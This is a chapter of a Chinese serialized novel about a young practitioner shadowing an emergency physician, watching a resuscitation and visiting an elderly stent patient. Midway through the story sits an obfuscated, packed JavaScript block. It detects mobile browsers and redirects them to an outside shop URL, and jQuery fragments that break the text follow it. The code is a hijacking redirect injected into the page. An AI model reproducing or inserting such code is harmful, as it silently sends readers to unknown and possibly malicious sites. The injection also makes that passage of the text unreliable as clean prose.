六月的第一个周三，沈渡照例跟林院长查房。结束后林院长没有让她直接走，而是从抽屉里拿出一个牛皮纸信封，推到她面前。沈渡已经习惯了林院长这种“不打招呼就给东西”的风格，接过来拆开——里面是一张市人民医院急诊科的见习申请表。
“我跟陈槿打过招呼了，她说可以。你去不去，你自己决定。”
沈渡看着那张表，表上已经打印了她的名字、年龄、学历等基本信息，只差她的签名。她想起上次会诊时那个短发女医生的样子——话不多，语速不快，但每一句都在点子上。陈槿。她念了一下这个名字，像在念一味不认识的中药。
“林院长，我去。”
“去可以，但去之前我跟你说清楚。急诊科不是社区义诊，不是省中医院门诊。那里的病人不是‘不舒服’，是‘快不行了’。你没有执照，不能独立接诊，只能跟着看。多看，多记，少说话。不该说的说了，不是你的责任，是教你的人的责任。你不想连累陈主任吧？”
“不想。”
“那就少说话。”
沈渡把表格折好放进口袋。她想起贺老说过的话——“你的能力不只是把脉，是看人。”她不知道在急诊科能不能用上这些能力，但她的能力就在她身上，用不用是环境的事，有没有是她的事。
周四早上七点半，沈渡到了市人民医院急诊科。这已经是她第三次来了。第一次是陪陈媛做血常规，第二次是找陈主任交申请表。这一次不一样，这一次她要待一整天。
护士站的小姐姐认识她了，指了指走廊尽头。“陈主任在办公室，你直接去。”
沈渡走过去，门开着。陈槿正坐在办公桌前啃一个馒头，面前放着一杯豆浆，豆浆是塑料袋装的，插着吸管。她看到沈渡，把馒头放下。“来得挺早。”沈渡站在门口不知道要不要进去。陈槿指了指旁边的椅子，她又喝了一口豆浆，把塑料袋系了个结扔进垃圾桶，站起来。“走吧。”
沈渡穿上白大褂——那件绣着她名字的。陈槿看了一眼口袋上的字，这次没有说“针线活不错”，只是把目光移开了。沈渡跟在她身后走进急诊大厅。早晨的急诊室人不多，但也不安静。有人在咳嗽，有人在呻吟，有人在打电话，有人在哭。
陈槿步子快，沈渡必须小跑才能跟上。她边走边跟沈渡说话，不看沈渡，像在自言自语：“急诊科分三区，红区、黄区、绿区。红区是危重，随时可能抢救。黄区是急症，需要尽快处理。绿区是轻症，可以等。你今天先在绿区待着，看分诊护士怎么分诊，看医生怎么问诊。”沈渡拿出笔记本开始记录。
陈槿看了她一眼。“不用记。用脑子。”沈渡把笔记本合上放回口袋。
绿区的诊室在最外面，门是敞开的。她站在墙角，像一根不会挡路的柱子。第一个病人是感冒发烧的年轻人，体温三十八度五，医生问了症状、查了咽部、听了心肺，开了血常规。第二个是拉肚子的大学生，医生问了病史、查了腹部，开了大便常规。第三个是头痛的中年女人，医生量了血压，偏高，做了头颅CT，没事，开了降压药。沈渡看着医生的每一个动作，试图记在脑子里。
“你看出什么了？”不知什么时候，陈槿站到了她身后。沈渡想了想。“感冒的那个，咽部充血不明显，扁桃体不大，可能是病毒性的。拉肚子的那个，腹部柔软，没有压痛反跳痛，不是急腹症。头痛的那个，血压高，但CT正常，可能是原发性高血压。”
陈槿没有说对也没说错。“你觉得他们需要来急诊吗？”
沈渡犹豫了。感冒发烧的去社区医院就行，拉肚子的去药店买点药也行，头痛的去看门诊也行。他们来急诊，是因为他们不知道自己的病不重，还是因为他们不相信社区医生？沈渡不知道。
陈槿看着排队的病人，离下一个病人还有几步，又多说了一句：“急诊不是看小病的地方。但他们来了，你就得看。你没得选。”
沈渡把这个也记住了。
中午吃饭的时候，沈渡在食堂碰到了一个熟人。不是陈槿，是赵大爷。赵大爷端着一个托盘，上面放着一碗粥、一碟咸菜、一个馒头，在角落里找位置。沈渡走过去在他对面坐下来。
“大爷，您怎么在这？”
“复查。支架术后半年，做个造影看看血管通不通。住院几天，明天出院。”他指了指碗里的白粥：“住院伙食不好，我想出去吃，护士不让。”
沈渡从口袋里摸出一个苹果，放在他托盘上。“早上带的，没来得及吃。”
赵大爷拿起苹果，在衣服上擦了擦，咬了一口。“甜。”沈渡看着他吃，想起一年多前他在收银台后面坐着的样子，脸色灰白，嘴唇发紫。现在脸色好多了，嘴唇也有血色了。吃了几个月的药做了手术，支架放了血管通了，心不慌气不短了。但他还在吃白粥配咸菜。
“大爷，您要吃点有营养的。鱼肉、鸡肉、鸡蛋，白粥没营养。”
“一个人懒得做。”赵大爷又咬了一口苹果，“没事，我身体好着呢。”
沈渡没有再劝。有些话说了是说了，听不听是别人的事。
下午沈渡回到急诊科的时候，红区送来一个病人。救护车直接开到门口，担架抬下来，推车碾过地砖，咕噜咕噜的。沈渡站在走廊边，看着那辆推车从她面前经过。病人是个老头，嘴唇发紫，脸色灰白，胸口的衣服被剪开了，贴上了电极片。心电图机吱吱地往外吐纸。
陈槿已经冲进去了。沈渡站在抢救室门外，透过玻璃窗看到里面的人在动。护士在抽血，医生在按压，有人在喊“除颤”，有人在读“心率”。她看不清那个病人的脸，但她看到了陈槿站在床头的位置，手里拿着喉镜，正在插管。病人的嘴巴被撑开，金属的喉镜压着舌头，一根管子穿进去，连接呼吸机。陈槿的动作很快，前后不到一分钟。插完管，呼吸机开始工作，病人的胸廓起伏了一下，两下，三下。
心电监护上的数字在跳。心率从一百五降到了一百二，血压从测不到变成了八十几。沈渡不知道她站了多久。可能是几分钟，可能是一个世纪。她看到陈槿的额头上有一层薄汗，看到她用手背擦了一下，看到她把手套脱下来扔进垃圾桶，看到她在病历本上飞快地写了几个字。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651342|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陈槿走出来的时候看到了沈渡。“支架术后，急性支架内血栓。送导管室。”
沈渡站在那里，走廊里的灯很白，白得刺眼。她想起了赵大爷，想起他说“我一个人懒得做”，想起他说“没事，我身体好着呢”，想起他咬苹果的时候牙齿缺了一颗，缺口不大，但能看到里面黑黑的。心不疼了不代表血管通了，支架放了不代表一辈子不会堵。她不知道赵大爷会不会也这样突然倒下去。会吗？也许。不会吗？也许。她不知道。她只知道她要做的事很多，时间很少。
下班后沈渡没有直接回家，去了人民医院住院部。赵大爷的病房在心内科，她问了护士，找到了床位。赵大爷正靠在床上看一个老款的智能手机，刷短视频，声音很大。看到沈渡进来，他把手机扣在床上。
“你怎么来了？”
“路过。”
赵大爷把枕头竖起来靠上去，拍了拍旁边的床沿。“坐。”沈渡坐下来。床头柜上放着那碗白粥，还有一碟咸菜和那个苹果，苹果剩半个，用保鲜袋套着。
“大爷，您今天感觉怎么样？”
“好着呢。能吃能睡。”
“中午吃的什么？”
“白粥。咸菜。苹果。”
沈渡不知道该怎么跟他说。说你这顿饭没有营养，说你的血管可能还会堵，说你不能一个人住，说你应该找个护工。这些话她都说过，他都知道。知道和做到是两件事。她知道判词是错的，不也用了很多年才做到吗？
“大爷，明天出院了，您去菜市场买条鲫鱼，炖汤喝。不会炖，让摊主帮您杀好，回来放点姜、放点盐，煮二十分钟就行。”
赵大爷看着她。“你还会做饭？”
“不会。但鱼汤我会。”
赵大爷笑了，露出那个缺了牙齿的缺口。“好，听你的。”
沈渡从医院出来，天已经快黑了。她站在公交站台等车，风从西南方向来，带着夏天傍晚特有的热。她想起陈槿今天在抢救室里的样子——手很稳，眼神很定，像在做一件重复了很多次的事。她不知道她什么时候也能那样稳，也许再过几年，也许再过十年，也许永远不会。
公交来了。她上了车，靠着车窗，看外面的路灯一盏一盏地亮起来。每一盏灯都不够亮，但连在一起，就亮了一条街。
回到家的时候，绿萝在窗台上安静地绿着。沈渡看了一眼，然后走到书桌前坐下，翻开《急诊医学》。今天学到的是急性冠脉综合征，与赵大爷的病对上了。她读得很慢，一个字一个字地读，在心里和白天看到的那些画面重叠在一起。书上写“尽早恢复心肌灌注”，她看到的是那张被剪开的病号服、那个被推进导管室的人、那些从抢救室门口经过时不敢往里看的家属。书是字，人是命。
她合上书，关了灯，在黑暗中坐了一会儿。窗外的路灯亮着，光线很淡。她让她的眼睛适应了那种暗，先看到窗台上绿萝的轮廓，再看到叶片的形状，然后看到新芽的方向——向着窗户，向着外面，向着有光的地方。她也是。向着光，不管外面是白天还是黑夜。
（第五十一章完）